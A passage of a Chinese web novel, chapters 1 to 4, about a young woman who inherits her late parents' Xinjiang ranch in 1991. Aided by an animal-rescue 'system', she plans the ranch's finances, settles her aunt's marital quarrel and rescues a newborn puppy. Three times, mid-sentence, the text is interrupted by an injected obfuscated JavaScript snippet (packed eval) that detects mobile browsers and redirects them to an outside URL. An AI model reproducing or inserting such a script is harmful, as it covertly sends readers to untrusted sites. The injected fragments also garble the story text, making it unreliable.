《我在九十年代开牧场》 1. 第 1 章 “新泉，你看这几天你是先去我们家还是去你二叔家，或者去你小姨家也成，她今天也是有事没来，不是不愿意管你了，你别有心理压力”，姚晓洁看着侄女苍白的小脸只觉得心里难受得不行，才毕业的孩子父母就这么都走了，让孩子怎么过？ 不说感情上的事情，就家里那还有一个烂摊子呢，这孩子日后可怎么办啊！ 姚晓刚也点头，他拍了拍侄女的肩膀，“新泉你也别多想，你爸比我跟你姑大了十来岁，我们俩说是他养大的都不为过，他走了，那以后你就是小叔的女儿，小叔家里也有地方住，你先跟我们回去好吗？” 肖美燕心里不大乐意，可这种时候要是拒绝倒显得自己夫妻俩不近人情了。但家里老大明年就中考了，这人一辈子改变命运的机会也就一个中考一个高考，他们夫妻俩虽然都有工作，可她只是高中毕业，现在就是在小学里当代课老师，没编制还工资低。 姚晓刚倒是正式老师，可啥时候也没见过老师能发财的啊！ 两人倒是赶上了分房，不过家里两个孩子也住的紧巴巴的，如果大侄女再住过去，那真是家里连落脚的地儿都没了啊！ 可想到大哥大嫂这些年对自己夫妻二人的帮助，肖美燕又实在没那个脸说出拒绝的话来，只是低着头不说话。 姚晓洁余光看了肖美燕一眼有些无奈，可到底也不好说些什么，她家里条件要好不少，她爱人在县里开了一家超市，帮衬侄女肯定是没问题的。 姚新泉摇了摇头，脸上满是倔强，“我要留下来。” “留下来干什么？”听了这话姚晓洁就火了，“这破地方有什么？你爸你妈跟傻了一样跑出来承包了四千亩的牧场，每年什么都不干就得先掏出去一笔钱，还一承包就是三十年。要不是为了这个牧场，要不是为了给你们家那个牛配种，你爸妈至于在路上出车祸留你一个人在这吗？要我说你赶紧把这牧场转手，你一个20岁的小姑娘，你养过牛吗？养过羊吗？你知道怎么配种怎么接生吗？你知道什么时候该剪毛什么时候该育肥吗？你什么都不知道！” 姚晓洁只觉得心头一股火压着不发出来心里难受，“你大学学的是管理，毕业之后还留在了上海，那么好的工作你就不要了？你爸妈给你在上海买的房子你也不要了？你以后是打算一辈子都待在这个山沟沟里吗？姚新泉，你不是个小孩子了，你不要拿自己的前途开玩笑！” 姚新泉抿着嘴不说话，看她这个模样姚晓洁被气得头晕，姚晓刚见妹妹发火也不敢招她，可是看侄女这样他也不知道该怎么劝说，一时间气氛就僵在了这里。 姚新泉在心里叹了口气，她这几天确实觉得万念俱灰，如果不是在把爸妈下葬之后脑海中的那道系统提示音，她就算再怀念爸妈可能也不会坚持留下来养羊的。 倒也不是说不会，毕竟她从会走路开始就跟着爸妈放羊了。后来改开，爸妈自己买了不少羊出来单干，他们夫妻俩养殖技术好，这小十年来没少赚钱，上海的房子还有这四千亩的草场以及牧场里那500头羊、100头牛、5匹马都是他们用这些年赚的钱换来的，可以说她从生下来就开始接触这些牲畜了。虽然是汉族，但是她也是长在马背上的孩子。 只是从前她对学习更感兴趣，对大城市有一种憧憬，心里早就被种下了逃离“新西兰”（新疆、西安、兰州）的种子，她没想回来的。 可是爸妈出了意外之后她才发现，原来她的根早就扎在这里了。 除此之外还有系统，“系统，你不会安排我去救治外地的动物换取积分吧？我家里这么多牲畜呢，我放着它们不管我去管外面的，家里出了事儿你给我兜底吗？” “是的呢，我只会给你派单方圆一百公里范围内的小动物求助信息，救助后会有积分，积分可以换取物品用于经营你的牧场”。 姚新泉低着头悄悄打开了系统商城，好家伙，大力丸，服用效果是比成年健康男性的力量大100%。 似乎感觉到了姚新泉的嫌弃，系统解释道，“你一个手无缚鸡之力的女孩，如果突然能徒手打死一头牛也不现实吧？” 姚新泉想了想倒也是，毕竟她又不需要成为大力士，只是自己开牧场，不可能凡事都当甩手掌柜的，力气大一些也方便。 再说了独身女性在外面总是有各种各样风险的，力气大的好处不要太多。 “一颗一百积分，那多吃的话可以叠加吗？” “不能呢！” “那我救助一只动物可以获得多少积分？” “一分到1000积分不等，也得根据动物的珍惜程度、救助难度以及伤情来判定呢！” 姚新泉沉默的模样看的姚晓洁头痛，“你就一定要留下来？” 知道她的好意，姚新泉本就与她感情好，她凑过去蹲在姚晓洁的椅子前，“小姑，这是我爸妈的事业，他们已经投入太多了，虽然国家扶持农牧业，贷款都是低息贷款，可这不都是债吗？还有爸妈问你们借的，他们走了，可我总是要还的。” 见姚晓洁想说什么她赶忙打断，“小姑，你知道我从小就胆子大什么都不怕，我也是从小养羊的，我还是大学生有文化，回头我多买一些畜牧相关的书回来好好学一学，摸着石头过河，我肯定能把这个牧场经营起来的！” 她如果是十岁，那依托着小姑、二叔或者小姨家生活那是必然的。可她已经成年了，除了父母，没有任何人有那个义务去照顾她，她只能自己照顾自己，她不想成为任何人的负担。 姚晓洁半晌无奈叹气，又戳了戳她的脑袋，“好日子不过你非要天天到这来风吹日晒的，等冬天的时候那雪厚的都能把你埋了，你在家里冻的直哭我们也不管你！” 话是这么说，可姚晓洁跟姚晓刚走了没多久后她便买了30吨煤炭让人拉了上来。 看着那个大卡车姚新泉有些懵，“那什么你稍等啊，我先把煤棚子清理一下”。 两间煤棚子让司机跑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502075|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两趟装的满满当当的，姚新泉想了想翻了包她爸之前买的烟，印象中好像也不算贵就塞给了司机，司机笑着收了还帮她把煤棚子边上落得煤渣子都扫了起来才离开。 牧场承包下来之后姚爸姚妈就拿到许可证把房子盖了，这边相对避风一些，盖了六间大瓦房，两间卧室，厨房和餐厅在一间，一间客厅还有一间洗手间，另外一间暂时做储藏间用。洗手间里安得是蹲厕，不过她爸托人买来了太阳能热水器，厨房里还安了锅炉，屋里都是暖气，不比人家城里人少什么。 按姚爸的说法是，赚的是辛苦钱，那过日子就不能苦了自己，可惜他们到底也没享受上。 看着爸妈没住过几天的卧室姚新泉只觉得眼眶又酸胀了起来，她深吸了一口气将这间卧室的门都关了起来，然后又把屋子收拾了一通。 牧场里的牛羊暂时不用操心，爸妈雇了一对哈族夫妻，只要不下雨，晚上牛羊也不回来，他们隔一段时间去看一看就成。 不过牧场的事情可不是这么简单让她躺在家里就能赚钱的，家里养的羊中母羊全是新疆细毛羊，这是典型的产毛羊，虽然说也能肉用，但是没专门的肉羊好。 这种羊从六个月左右就能有羊毛的产出了，两到三岁的时候算是产毛巅峰，7-8岁的时候产毛性能会逐渐下降，到时候再继续养着产毛就不划算了，一般会育肥后作肉羊出售。 他们家的羊是两个月大的时候买回来的，如今算下来差不多八个月大了，春天那次剪毛没赶上，如今是九月份，刚好可以剪上一波羊毛，也算是给这个牧场回第一波血。 毕竟她爸妈投了那么多钱进去，如今可分毛未见进账呢！ 至于羊毛贩子，姚新泉想了想，爸爸之前好像有个自己记的电话本，上面会不会有？ “我这里有你们本地最靠谱的羊毛贩子的电话哦？” 系统的声音突然在脑海中响了起来，姚新泉一愣，“你不是动物救助吗？” “我全能啊！再说了宿主也得自己生存下来了再谈其他嘛！” 突然就觉得这个系统很人性化！ 拿到了电话后她也没急着联系，她家的羊毛她之前回来的时候看过，品质一般，这种剃好了给人家送过去就成，要特别好的那种人家才会上门来自己跟你协商什么时候剃，要哪些毛，她家的不至于。 除了剃毛之外还有一件很重要的事情，也就是她爸妈当时出去找的种公牛。 可是据姚新泉所了解到的是，他们这边已经有人工授精了，她爸妈跑了周围这么多地方没找到合适的种公牛，倒不如就弄人工授精，至少不会错过他们家牛这次的发情期。 如果再错过这一次的发情期的话再往后就入冬了，冬天让牛揣崽，饲养难度还是要高一些的，对姚新泉来说就完全没必要了。 而且牛的妊娠期平均280天左右，到了那个时候才能有牛奶，才算在牛身上见着回头钱，那肯定是能尽量早揣崽就尽量早一点吧！ 2. 第 2 章 姚家牧场里总共有一百头牛，其中有85头母牛，只有15头是煽过的小公牛，这种是当肉牛养的。 母牛基本都是用于产奶的，其中有50头是黑白花奶牛，剩下35头是新疆褐牛。 要让姚新泉说的话，褐牛的牛奶其实更香醇，口感更厚实。从数据上来看，褐牛的乳脂率约为4.3%，乳蛋白率约为3.2%，数据都比黑白花的要高。 不过黑白花奶牛的产奶量更大，经济效益高。黑白花奶牛一年的产奶量可以达到8千公斤到1万公斤，而褐牛的产奶量只有3千公斤到4千公斤，一倍的差距。 当然了，褐牛牛奶还是要比黑白花牛奶贵一些的。 想到这里姚新泉打算晚点儿去看看家里奶牛的状态，如果没什么问题又都发情了的话，那这两天就得安排人工授精的事情了。 不过这个可能得联系下兽医，不管是资源还是技术姚新泉这儿都没有。家里之前一直合作的兽医好像也挺靠谱的，可以去看看。 除了给牛配种的事情之外还有呢！ 她得种点儿菜！ 如今冬天反季节蔬菜那是又贵又少，而且这边冬天就算没大雪封山，这进出也费劲儿，所以冬天姚新泉是打定主意没事儿尽量少外出的。 那就得把过冬的蔬菜多备着些，冬天能有什么菜？还不就是萝卜白菜这些？与其出去买不如自己种！ 另外，还得种植一些冬牧70黑麦草。 她爸妈当初没赶上种植青贮，冬天的饲料也是个问题，总不能全靠买吧？草场上还能收割一茬，另外再种植一些，到时候冬天再搭配别的吃，先把今年撑过去，明年再好好规划吧！ 燃料问题她小姑已经给她解决了一部分，但是这么多牲畜在这里，冬天温度低的时候羊圈、牛圈里可能都要点火，这样一来这些煤炭未必够。 不过倒也不一定全用煤炭，这边有林场也有果园，可以去找人家买木头回来烧，相对来说肯定经济很多。 除此之外她还得搞个交通工具回来，姚新泉叹了口气，怎么哪儿哪儿都要钱啊！ 她家这个牧场虽然没有偏远到荒无人烟的地步，但是离这里最近的人家也有五六公里。什么出租车、公交车这边根本不可能有，出行要么靠自行车或者摩托车，要么就是牛、马拉车。 至于小轿车的话，他们县里如今到已经有不少私家车了，但是姚新泉用不上，也没钱买。 不过摩托车倒是肯定得买，出行也能方便一些。 不止两轮的，三轮的也得有。 两轮的自己开着方便，三轮的拉点货方便。 姚新泉掰着手指头算要用钱的地方，今年饲料肯定得买一些，到时候看看是在市场上买饲料还是在谁家买，还有能量饲料像玉米、小麦、大麦之类的，蛋白质饲料，像豆粕、菜粕或者鱼粉这些，还可以再买一些秸秆，这东西可以降低养殖成本，适当吃一吃也挺好的。 盐砖这些家里有买，暂时可以不用买，之前还听人说要弄点矿物质饲料，家里牲畜少的时候也就罢了，如今家里摊子已经铺起来了，那肯定是要科学喂养的。这矿物质饲料适当喂一些可以维持牲畜的正常生理功能，还能提高生产性能，像是牛羊如果缺乏钠或者氯等矿物质的话，会导致它们采食量下降，会影响牲畜的生长和产奶量的。 另外，补充一些矿物质还能增强牲畜的免疫力。 不过具体怎么操作，喂什么她还得好好学学。 虽然大学学的东西跟畜牧业没有一毛钱关系，但是姚新泉毕竟是养殖户家庭出身，哪怕到了大城市也会不自觉地关注这些。 他们学校也有相关专业，她选修过课程，倒没想到如今是真有用得上的一天啊！ 钱啊，哪里都得用钱！姚新泉算账算的两眼发直，天上咋不能掉钱呢！ 姚新泉把家里的存折翻了出来，家里之前账上还有不到8万块钱，这里面还包括贷款的15万，这15万加上家里之前还有小十万吧，现在加在一起就剩不到8万了！ 不过她爸妈出事是一家国企的司机醉酒驾驶造成的，对方全责。 她父母两人的赔偿其实正常来讲大概一人不到10万块，但是这事儿在本地影响太大了，她爸妈也不是籍籍无名的小人物，国企的领导本就理亏，也怕赔少了到时候舆论闹得更难看，所以干脆两人加在一起赔了30万，反正钱又不从领导口袋里掏。 所以目前流动资金的话她手里有38万，绝对不算少了。 除此之外，上海的那套房子虽然地段不算特别好，但是每个月的租金也有500块，每个季度交一次，也算是一个固定收入了。 银行那边家里还欠了15万，贷款三年，年息不高，到期后本息一起还，年息百分之一点几，到时候也就还十五万五左右。 前几天办父母丧事的时候还去银行办了手续，国内这种概括继承就是权利跟义务一起继承，她既然继承了父母的遗产，那么债务自然也要继承。 包括这块儿牧场的承包合同也去办了手续过到她名下了，就这事儿村里领导还讨论过要不要同意呢！毕竟姚新泉只是一个二十的小姑娘，这可是四千亩的草场啊！ 不过这三十年的草场当时约定好了三年一付租金，六年涨一次租金，涨百分之十，头三年的租金已经交了，钱都到村集体的账上了，怎么可能再退回去？所以大家想了想就觉得还是先看看，看看这姑娘到时候能不能正常付后面的再说。 估算了下家里的钱跟债后姚新泉算是松了口气，还好，等到缺钱的时候估计牧场里已经有回钱了。 她在屋子里打量了一圈之后突然才反应过来，“怪不得呢，我说怎么总觉得少了点东西”，家里是通电了的，可是没通电话啊！ 他们这地方不算太偏，但是到底只有她一个人，雇的那老两口子虽说也不是什么坏人，但是总不能一点没有防备，万一有个什么家里有个电话还能报警呢！ 还有，姚新泉想养狗！ 不是城里人养的宠物狗，是那种看家护院甚至是帮着放牧的牧羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502076|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犬！ 如今的牲畜养的还不多，所以老两口已经足够照应了，但是未来肯定要扩大规模的，姚新泉自问不是太会看人，万一到时候招进来一些不怀好意的，那她肯定得倒霉，所以还是多养几条狗吧！ 大概做了个计划后姚新泉打算先去县城一趟，把摩托车还有电话先搞定。 如今天气凉下来了倒还好，等明年看看吧，如果明年资金凑手的话姚新泉还打算买个电冰箱，不然这买点儿东西放在外面都坏了。 她收拾好东西后从家里翻出一个大背篓打算在城里顺便买点儿菜，再买点儿种子什么的。 她换了双轻便的鞋，又换了一件长袖T恤，穿了件外套，又把孝字别好后往山下走去。 别看才九月，山上已经只有十来度了，必须得穿外套。 一路抄近路走了一个来小时才看到房子，等走到大路上后搭了个老乡的顺风车进了县城，谢过对方后她去了邮电局，问了安装电话的初装费后姚新泉眼睛都瞪大了，“多少？三千？” 工作人员点了点头，脸上有些不耐烦，“你那地方那么偏远，还得单独拉线过去，要不是那边之前有个派出所拉过电话线，这得更贵！你安不安？” 姚新泉叹气，咬牙，“安！” 能咋办呢？不说别的，万一有个什么急需的东西给小姑二叔他们打个电话还能帮着送送呢！ 而且她还想着将来如果牧场发展起来了，总得跟外面联系啊，所以得安，再贵都得安！ “行吧，填申请表，填完等审核通过后我们再上门拉线、布线，审核通过后会通知你过来交钱，一般半个月左右，你到时候再过来看一下吧！” 姚新泉叹气，真费劲儿！她谢过工作人员后背着背篓去了小姨家，小姨家是开车店的，里面绝大多数卖的还是自行车，有少量摩托车，像是三轮摩托车之类的那都是得提前订货的，姚新泉打算先去买个女士摩托车。 等到了小姨家店的时候她刚想说话，就听到上面一个男人的声音，“苏永华你别在这跟我吵吵，我跟你说过了，你能过过，不能过就离！不过我告诉你，这个家，这个店可是我张运秋经营起来的，跟你没一毛钱关系，你要是离婚，就给我光着屁股滚蛋！” 姚新泉没听到她小姨的声音皱了皱眉，也没管那么多直接就进去了，就见她小姨夫张运秋横眉倒竖看起来像是要动手了一样，至于苏永华则是又愤恨又委屈地瞪着他，到底没说出一句离婚的话来。 姚新泉清了清嗓子，“小姨，你跟姨夫这是聊啥呢？” 张运秋见到姚新泉后不大自然地笑了笑，又暗戳戳瞪了苏永华一眼示意她闭嘴，“新泉来了啊，怎么样，家里还好吗，事情多不多，都能上手吗？要是有忙不过来的地方你跟姨夫说，你爸妈走了，现在两边儿就我们几个亲戚了，你一个孩子，遇到事儿了别客气，也别不好意思，不方便跟姨夫说，你跟你小姨说也是一样的。” 姚新泉点了点头，“那姨夫，你跟我小姨这是怎么了，怎么又吵架了？” 3. 第 3 章 张运秋听了这话脸色不大自然，“你都听到了啊？”让晚辈听到他们夫妻俩吵架张运秋面子上觉得过不去，可看到苏永华那个样子又觉得头痛，他家里没别的亲戚了，上面也没个长辈能管管苏永华。 从前姚新泉她妈苏永和还在的时候，凡事儿还有苏永和劝着哄着，这苏永华还像个样子，如今她姐也没了，这日子真是没法儿过了！ 想到这里张运秋更觉得头痛不已，他看到苏永华在那哭就烦闷得不行，朝姚新泉招招手示意她跟自己出来，苏永华见状也想跟着，可不知为什么视线对上姚新泉那警告般地眼神后没忍住缩了缩脖子，最终没出去。 张运秋把她背上的背篓卸下来，又去旁边买了两根冰棍，买完后才反应过来，“新泉你能吃吧？” 姚新泉笑着接过了，“能吃的，谢谢小姨夫”，张运秋在家里这几个男性亲戚里算是心最细的一个了，这时候还能想问自己在不在生理期。 他找了个台阶坐下用力咬了一口雪糕，冰的脸都皱起来了，“你听到我刚跟你小姨吵架了是吧？还听到我说家里啥都是我的，不分给她？” 姚新泉没说话，就见张运秋叹气，“你小姨夫我是那种人吗？当初这个店还是你爸出钱给我们开起来的，就算最后把钱还了，那你爸也是看在她的面子上借的钱，我能说跟她没关系？那我还是个人吗？我俩还有个孩子，就算真过不到一起去了，我也不至于想去逼死她，我就是生气！” 张运秋又咬了一大口雪糕，“你也是大孩子了，小姨夫也不瞒你，我都搞不清楚你小姨到底是咋想的！你知道她刚才为啥跟我闹吗？就因为刚上门一个女客户，人家买了一辆女士摩托车，那客户上门我肯定得笑啊，得哄着，得供着，把人高高兴兴送走不是？结果你小姨觉得我跟那女客户有一腿！觉得那女客户对我有意思！” 张运秋一脸不可置信，“新泉，你看看你小姨夫我这张脸”，他掐了把自己的脸，又捏了一把自己肚子上的肉，“你再看看我这肚子，我都一把年纪了，长度宽度都差不多，跟个油桶一样。我还就是开个小破店的破老板，谁他妈没事儿来勾搭我啊？当我是什么香饽饽谁都看得上啊？” “还有，我们做生意的难免要出去喝喝酒吃吃饭什么的，我对天发誓我可啥对不起你小姨的事情都没干过，可她就是闹，没完没了得闹，闹得我现在看到她就头疼，这日子真没法儿过了”。 姚新泉无语得不行，她有一段时间没回来了，本来听了那话还以为小姨夫真做了什么，没想到…… “你妈走了我当时难过得跟死了亲娘一样”，张运秋苦笑，嘴里也一点避讳没有，“你妈对我那就跟对亲弟弟一样。我妈不是个东西，当年我还小的时候就抛下我改嫁，还把家里东西都搬走了，你妈对我来说那真的就是亲姐”，说到苏永和张运秋又红了眼眶，“闺女，小姨夫跟你说句实打实的话，除了没了姐姐难受之外，我还难受以后再没人能管住你小姨了，姨夫这日子没法儿过了啊！” 见他一个大男人在这抹眼泪姚新泉本来因为提起母亲的难过都淡去了一些变成无语了，这真是…… “对了，小姨夫都忘了问你是过来干啥来了？是不是家里缺什么？我给你去买，回头我给你送点儿菜啊面啊之类的上去，你那边离得远出来一趟不容易。” 说着说着又开始感叹姚新泉怎么就非要接她爸妈的班不可，出来干点儿轻松的活儿不好吗？反正嘀嘀咕咕半天，姚新泉没忍住打断了他，她小姨夫的话可是真多啊！ “我想买辆女士摩托车”。 张运秋抹了把脸哎呦一声，“你瞧我糊涂的，你那边是缺一辆，跟小姨夫还提什么买不买的，你进去挑一辆，看哪个顺眼，小姨夫送你了！” “可别”，她摆手拒绝，“我妈以前就叮嘱过，可不能占你们的便宜”，见他还想说些什么姚新泉赶紧打断了他，“我去帮你劝一劝，能成最好，不能成的话也没办法。” 张运秋一脸惊喜地看着她，可又觉得自己两个长辈的事情让个孩子去调解是不是不太好，一时间纠结得不行。 姚新泉没再理他，转身进了店里，就见苏永华伸着脖子在那看，见姚新泉进来了她赶忙坐正，“怎么样，怎么样？” 姚新泉拉了把椅子过来，很是郑重地问她，“小姨，你是不是不想跟姨夫过了？你如果不想跟她过了，那我尊重你的意见支持你离婚。” 苏永华只觉得一把大锤头直直地砸向自己的脑袋，她表情呆呆愣愣的，“离，离婚？我没想离婚啊？” “那你是真抓到我小姨夫出轨了吗？还是说你发现了什么异常？” 苏永华咬唇想要说什么最终还是垂头丧气地摇头，“没有。” “你看，你又没证据，甚至你都没有说直觉觉得他做了对不起你的事情，那你一直跟他闹不就是想找个理由离婚吗？” 没等她说什么姚新泉就接着问，“还是什么别的原因？” 看着苏永华那闪烁的目光姚新泉直捣黄龙，“你是不是觉得自卑，觉得小姨夫生意做得好，将来迟早会抛弃你？” 苏永华震惊地看向她，外甥女怎么知道自己是怎么想的？ “可是小姨，你一点都不差啊？你看看你自己，大高个大长腿，生了表弟身材也没走样，脸上皱纹也没多少，你现在站在外头让人家看，你至少比小姨夫年轻十岁！” “至于说别的，我记得你当初也是大专毕业生吧，学的好像是幼教？小姨夫呢？他好像是初中都没读完。” “咱们苏家虽说不是什么大富大贵的家庭，但是我妈作为你的娘家人这些年给了你们小家庭不少支撑吧？小姨夫家呢？他家没有。所以你说，从哪个角度上你都不应该自卑，所以你到底在折腾什么？” 没等她说话姚新泉又问，“你在这个店里当老板娘快乐吗？” 苏永华抿了抿唇，其实真不好说，平时很闲，店里也不怎么需要自己，她没事儿就可以出去打麻将。可是那东西消遣的话还好，天天跟上班一样到点儿就去打也觉得没意思。 “我，我好像找不到自己的价值”，苏永华叹气，就算之前这个店里大姐给投资了钱，可后续的所有经营都是张运秋来的，自己什么都没做，她也什么都不会做啊！ 姚新泉想了许久后才问道，“你想去幼儿园工作吗？” 苏永华眼睛一亮，“可，可以吗？”她当初学的这个专业并不是被调剂的，是因为她真的喜欢孩子，也乐意教育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502077|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子。可后来结婚生子开店这些事情一套下来她也没机会出去工作了。 “系统，你那边能查到我们县里有哪家幼儿园招幼师吗？大专毕业，三十四五岁，没有工作经验也可以”。 系统的机械音也尽显无奈，“我是跟救助动物有关的系统”。 姚新泉声音里满是笑意，“你就说你查不查吧？” 半晌系统硬邦邦地吐出了几个字，“红太阳幼儿园。” 姚新泉嘴角没忍住露出一抹笑意，“谢谢你啊小系统！” “小姨，咱们县里是有一家红太阳幼儿园对吧？你知道在哪儿吗？我之前听说他们招幼师，没有工作经验的也可以！” 苏永华皱着眉想了想，这个名字好熟悉啊，“我想起来了，我跟你小姨夫现在住的那个小区不是个新小区吗，那也算咱们县的高档小区了，小区边上新开了一家幼儿园就叫红太阳，是那里吗？” “我不是很确定，不过我觉得你可以去试一试”，姚新泉很郑重地看向她，“小姨，你不比任何人差，你不需要在任何人面前有自卑感的！” 苏永华红了眼眶，没忍住抱了抱自家大外甥女，她心里暗暗下了决定，一定要出去工作，其实她也不喜欢这样一天到晚好像只知道盯着男人的自己，可她也没别的事情干啊！ 现在不一样了，她打算出去工作了！ “小姨夫之前都是气话，他都跟我说了，他就是气你不信任他，他没别的意思”，姚新泉还是解释了一句，苏永华听了之后轻哼了一声也没说什么，不过等张运秋进来后她昂着脖子跟对方宣布她要出去工作了的时候张运秋人都傻了。 等听了姚新泉的解释后他才松了一口气，倒也成！ 姚新泉算是给他解决了一个大麻烦，张运秋一高兴就要给她送车，姚新泉不肯收。张运秋又想将一辆价值25000左右的雅马哈125以3000元的低价卖给她，姚新泉也不想占这个便宜，最终以1000块的价格便宜买了一辆木兰50。 “小姨夫你看什么时候去市里的时候帮我提一辆三轮车回来吧，不用太贵的，性能好一点，在草场上也能跑就成，耗油量什么的适中就行。” 张运秋自然没意见，不提是自家孩子，就算是外人，给自己帮了这么大一个忙他都得好好谢谢人家！ 出于感谢，兜里有钱的张运秋又送了姚新泉两大桶汽油，没有送更多是因为不好带进山里。 “我再给你配上两个头盔、护目镜、手套、护膝这些我都给你配上，之后车有什么问题你就找小姨夫，小姨夫保证给你收拾得好好儿的！” 见他这个样子苏永华心里也高兴，“你要是不好好给新泉搞我才跟你闹呢！” 张运秋哼哼两声懒得跟她计较，“行了，有什么事情就来找我们，都是一家子不许跟小姨夫客气！还有你弟”，说到儿子张运秋也头疼，“他现在是开学了，等周末了你要是方便的话我给他送你那儿去，你让他干干活，什么放羊喂马铲屎的，什么活儿累让他去干，我一个泥腿子难不成还要养个大少爷？还有咱们这儿虽然不怎么抓这个，但是你抽空还是去把摩托车驾驶证给考了，很简单易上手，你什么时候有时间就跟姨夫说，我给你安排！” 4. 第 4 章 摩托车后面的褡裢里放了两桶油就不方便大肆采购了，她在路边找了家菜店买了点儿菜跟蛋就回去了，家里米面之类的还有一些，倒不急在一时。 摩托车自然是比11路快不知道多少倍了，从县里到那座村庄大概骑车要四十来分钟，从村庄到她们牧场虽然路途不算太远，但是骑车不是很好走，所以也得二十来分钟。 路上正开着突然听到脑海中系统的提示音，“检测到右前方两百米的地方有一只动物需要救治。” 姚新泉挑了挑眉，她往系统所说的地方开去，她倒要看看这个救治到底是怎么一回事儿！ 感觉大概到地方之后姚新泉小心从摩托车上下来，她隐约有听到细碎的叫声，但没分辨出是什么动物，“系统，是幼崽吗？” “检测到是的呢！” 姚新泉松了一口气，幼崽就好，绝大多数动物幼崽没什么攻击能力，就算他们不友好，自己一个成年人也不至于有什么危险。 但如果是受伤的成年野兽就未必了，大家又不能沟通，万一对方误解自己了，给自己一口那可就得不偿失了！ 检测到姚新泉的想法后系统突然开口，“那可未必哦！” “未必什么？” “谁说不能沟通？” 听了这话姚新泉愣了一下，“什么意思？你不会说你还能让我跟动物交流，懂兽语之类的吧？你当这是什么修仙小说呢？” 系统哼了一声，“当然不是懂兽语，但是能让你感受到动物的情绪，也能让动物感受到你的善意，从而降低攻击性，这个技能不错吧？” 姚新泉眼睛亮了亮，确实不错，她是搞畜牧业的，每天都得接触各种牲畜，可别觉得家养的就一定全都是善意的或者没有攻击性的动物，不说别的，农村里被大公鸡或者大鹅叨屁股的还少吗？ 刚想说什么就听系统道，“不过得你获得第一个积分之后作为新手大礼包送给你，包括你之前看的那个大力丸，新手礼包里一起赠与你哦！” 姚新泉心里一喜，大力丸打折之后虽然听上去不贵，可问题是她也不知道救助一只动物多少积分啊！万一救助的动物全是一积分的，需要一分一分积攒吗？ 还是免费的香！ “还有别的吗？” 系统得意地哼哼两声，“这两样是我给你走后门放进去的，别的就得看你的运气啦！” 姚新泉没什么意见了，转头开始搜索起那只待救助的小动物来。 扒开一片芨芨草丛之后姚新泉看到了躺在草丛里的一只黑白相间的小狗，瞧着身上还湿漉漉的，姚新泉皱眉，不会刚出生吧？ 她四下看了看确实没见到有狗妈妈在，想了想小心把背篓里的东西放到了车框子里，再把小狗轻轻放到了背篓里，“你稍等一会儿哦，我现在带你回家！” 等到家之后她也没顾得上将摩托车上的东西卸下来，背着小狗就进了屋。 她翻出一条之前姚爸用烂的破毛巾，虽然破了，但是也被用的非常柔软，而且也洗的干干净净的，她拿起毛巾轻轻将小狗的口鼻处还有身上的粘液擦去。 “这是刚出生的吧？系统你能检测它健不健康吗？” “经检测，被救助动物1号于1991年9月12日10时出生，身体健康，血统中70%系哈萨克牧羊犬，其余若干犬种血统占30%。” 姚新泉乐了，“你还挺有用的嘛！” 系统哼哼两声没说话。 “不过目前小狗应该是没有危险吧，怎么也被列为被救助动物了？是因为之后有危险吗？” 系统嗯了一声，“这附近是有野兽的，对于一只刚出生，狗妈妈不在了的幼犬来说，无论是别的动物还是到了夜间只有个位数温度的天气都是可能致死的原因。” 姚新泉点了点头，“家里羊还小，我得去村里问问谁家有羊奶，给它换一点儿回来，你说我能养它作为牧羊犬吗？” 这只小狗不管是外形还是血统都偏哈萨克牧羊犬，这类犬可不是如今城市里流行的那些小型宠物犬可以比的，这种犬只的主要用途就是牧羊、看护、守卫、打斗跟狩猎之类的。 小狗的血统里还有狼的存在，或者说其实哈萨克牧羊犬本身血统就很驳杂，估计是系统有没有太去溯源，没有太大意义。 这种犬只一般只有当地的牧民能养出来，最开始就是刻意挑选那种个头高大性格凶猛的狗去□□，无论是在饲养过程中还是犬只工作过程中，他们的生长环境会使得他们好斗，很凶。这种犬还有别名就叫西域獒和天山獒，带獒的犬，可想而知了。 姚新泉甚至觉得这是系统送给自己的牧羊犬，她还是很想养的。 在牧场养一只大型牧羊犬对她来说安全系数那可是大大提升啊！ 系统自然没意见，“可以哦，经科学检测分析，这只犬无论是敏捷性、耐性、忠诚等都足够它成为一只优秀的牧羊犬，你可以好好培养它！” 姚新泉听到了想听到的答案这才满意，她又翻出了一个家里之前放着的箱子，不大，但是垫上一层稻草，再垫上两件破衣服后给小狗用还是可以的。 她蹲在闭眼趴在箱子里的小狗面前，指尖轻轻落在小狗身上的白色花纹上，小狗似乎感觉到了什么，哼唧了一声又睡了过去。 姚新泉眼中闪过一丝笑意，“就叫你点点吧，以后你就是家里第二位成员了！” 把摩托车上的东西卸下来又把门关好之后姚新泉骑车下山，她没去村里，直接去了兽医站，毕竟除了羊奶还得买点儿奶瓶什么的。 